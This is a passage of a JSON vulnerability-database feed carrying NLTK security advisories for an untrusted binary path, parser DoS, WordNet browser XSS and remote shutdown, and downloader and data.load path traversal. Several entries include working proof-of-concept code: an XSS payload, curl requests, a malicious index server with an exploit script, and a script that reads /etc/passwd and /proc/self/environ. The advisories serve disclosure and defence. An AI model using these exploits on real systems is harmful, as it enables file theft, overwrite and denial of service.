through `nltk.pathsec.spawn_trusted` (layers 2 and 4). Inspection of the current released tree (nltk 3.10.3) shows `dot2img` received the layer-1 change (the function was rewritten from a bare `subprocess.run([\"dot\", ...])` to `find_binary(\"dot\")` plus a run of the absolute path, with a CWE-426/427 comment at `nltk/parse/dependencygraph.py:622-625`) but did NOT receive the `spawn_trusted` routing. The sibling `nltk/translate/api.py:145` does route through `spawn_trusted`, and `nltk/EXTERNAL_TOOL_SECURITY.md` lists Graphviz `dot` only under `translate/api.py`; `dot2img` is absent from the hardened-wrapper inventory. Attempts to invalidate the finding all failed: (a) the claim that the fix covers all `dot` resolution is refuted because layer 1 filters only non-absolute matches and `dot2img` never reaches layers 2/4; (b) the duplicate hypothesis is refuted by a negative control, planting `./dot` in the working directory with none on `PATH` makes `find_binary(\"dot\")` raise `LookupError`, so the prior fix's working-directory guard still fires and this is the distinct residual ownership/environment gap; (c) the \"system dot shadows the trojan\" objection is refuted because realistic exploitation prepends the writable directory on `PATH` or replaces a `dot` already living in a writable `PATH` directory; (d) both the text and binary format branches share the identical unguarded exec, so it is not format-specific. A fresh PoC on the examined tree confirms `resolve_trusted_executable` refuses the planted binary while `dot2img` executes it.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: nltk`\n- `Confirmed affected range: <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI, latest published release as of the review date; source tree VERSION == 3.10.3)`\n- `Fix status: 3.10.4`\n\nThe `dot2img` function has invoked `dot` via a raw subprocess since well before the prior advisory. The prior advisory's `spawn_trusted` standardization routed only the sibling `translate/api.py` invoker through the trusted-execution chokepoint, so this residual gap in `dot2img` exists from at least that remediation release onward and remains present in the latest published release (3.10.3). Precise introduction and remediation boundaries below 3.10.3 could not be independently established in this environment (no git tags or release history in the checkout); the confirmed statement is that the latest published release is affected and no fix for `dot2img` exists.\n\n## Suggested Fix\n\nRoute `dot2img`'s execution through `nltk.pathsec.spawn_trusted(dot_binary, [\"-T%s\" % t], input=...)`, mirroring the sibling `nltk/translate/api.py`, so that the ownership/writability check (layer 2) and the loader-environment scrub (layer 4) apply, and handle `TrustError`/`OSError` with the same refusal pattern used at `nltk/translate/api.py:152-157`. Apply the change to both the text-format and binary-format branches. Add Graphviz `dot` under `nltk/parse/dependencygraph.py` to the per-wrapper inventory in `nltk/EXTERNAL_TOOL_SECURITY.md` so the second invoker is tracked. Interim mitigation without a code change: ensure no group/world-writable directory appears on the `PATH` of any account that renders NLTK dependency graphs, and install Graphviz in a directory writable only by the user or root.\n\n---\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nTwo open pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commit: cf12a5e6a (internals.java() refuses a binary that resolve_trusted_executable rejects, _java_child_env drops the loader environment and pins PATH, dependencygraph.dot2img runs through pathsec.spawn_trusted). Probe: nltk/test/unit/security_probes/ghsa_7mxv_7h3q_9324.py (on that PR); verdict on its head: FIXED (planted absolute java refused with TrustError; loader and JVM environment scrubbed).\n\nPR: #3887 \"Resolve every executed tool binary absolute-only: prover9/mace4, megam, tadm, java, hunpos (untrusted search path, CWE-426/427)\", open; head 3ac1c5641 at the time of this note (a develop merge on top of 16b1de8ee, the head on which the verdicts below were measured). Fix commits: 992884a02 (the JVM is resolved before spawning and spawned through spawn_trusted) and b002a7288 (dot is spawned through the trusted path in dependencygraph). The #3753 probe run against this head reports STATIC (the planted java is refused with LookupError before the trust guard is reached).\n\nThe probe run against develop 2fa3f48fe: VULNERABLE (java() executed a planted untrusted binary from a writable directory).\n\nRelease: none.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-7mxv-7h3q-9324"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128134"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3887"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/b002a7288c22db86fd6ca2d9526e3f91d6fda797"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12876","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-ff5c-cp5c-9wjf","CVE-2026-12876","PYSEC-2026-3869"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars","details":"`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -> unbounded recursion\ng = CFG.fromstring(\"S -> S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n\n# (b) ambiguous grammar -> exponential number of parses\ng = CFG.fromstring(\"S -> 'a' S | 'a' S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3649"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-33230","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-gfwx-w7gr-fvh7","CVE-2026-33230","PYSEC-2026-2235"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","details":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"<script>alert(1)</script>\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '<script>alert(1)</script>' were not found in the dictionary.\n```\n<img width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" />\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"<script>alert(1)</script>\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"<script>alert(1)</script>\" in page)\n```\n\nObserved output:\n\n```text\nWORD= <script>alert(1)</script>\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33230"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-33231","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-jm6w-m3j8-898g","CVE-2026-33231","PYSEC-2026-2236"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Unauthenticated remote shutdown in nltk.app.wordnet_app","details":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n  - The server listens on all interfaces:\n  - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n  - Incoming requests are checked for the exact path:\n  - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n  - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n  - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n  - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest    Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33231"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-33236","published":"2026-08-13T16:34:58Z","modified":"2026-11-05T00:49:41Z","upstream":["GHSA-469j-vmhf-r6v7","CVE-2026-33236","PYSEC-2026-2237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","details":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: <package id=\"passwd\" subdir=\"../../etc\" .../>\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"<?xml version=\"1.0\"?>\n<nltk_data>\n  <packages>\n    <package id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/>\n  </packages>\n</nltk_data>\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33236"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-33236"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2449824"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2237.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33236.json"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-54293","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-p4gq-832x-fm9v","CVE-2026-54293","PYSEC-2026-2078"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read","details":"### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n  nltk/data.py:find() checks resource names against a regex for\n  traversal patterns (../, leading /, etc.) BEFORE calling\n  url2pathname() which decodes %xx sequences. This is a classic\n  \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n    \"\"\"Test a single traversal variant.\"\"\"\n    try:\n        content = nltk.data.load(payload, format=fmt)\n        if isinstance(content, bytes):\n            preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n        else:\n            preview = content[:200]\n        first_line = preview.split(\"\\n\")[0]\n        print(f\"  [VULN] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Read OK: {first_line}\")\n        return True\n    except Exception as e:\n        print(f\"  [SAFE] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Blocked: {type(e).__name__}: {e}\")\n        return False\n\n\ndef main():\n    print(BANNER)\n    vulns = 0\n\n    # --- Variant 1: URL-encoded absolute path ---\n    print(\"[1] URL-encoded absolute path (%2f = /)\")\n    if test_variant(\n        \"Encoded leading slash bypasses ^/ regex check\",\n        \"nltk:%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 2: Encoded dot-dot traversal ---\n    print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n    if test_variant(\n        \"Encoded dots bypass \\\\.\\\\./ regex check\",\n        \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 3: Literal dots with encoded slash ---\n    print(\"[3] Literal dots with encoded slash (..%2f)\")\n    if test_variant(\n        \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n        \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 4: Read process environment (credential leak) ---\n    print(\"[4] Read /proc/self/environ (credential leakage)\")\n    try:\n        content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n        env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n        print(f\"  [VULN] Leaked {len(env_vars)} environment variables\")\n        for var in env_vars[:3]:\n            if var:\n                key = var.split(\"=\")[0] if \"=\" in var else var\n                print(f\"         {key}=...\")\n        vulns += 1\n    except Exception as e:\n        print(f\"  [SAFE] Blocked: {e}\")\n\n    print()\n\n    # --- Control: verify normal traversal IS blocked ---\n    print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n    test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n    print()\n    print(\"=\" * 51)\n    print(f\" Result: {vulns} bypass variant(s) succeeded\")\n    if vulns > 0:\n        print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n    else:\n        print(\" Status: Not vulnerable\")\n    print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n### Impact\nArbitrary local file read whenever 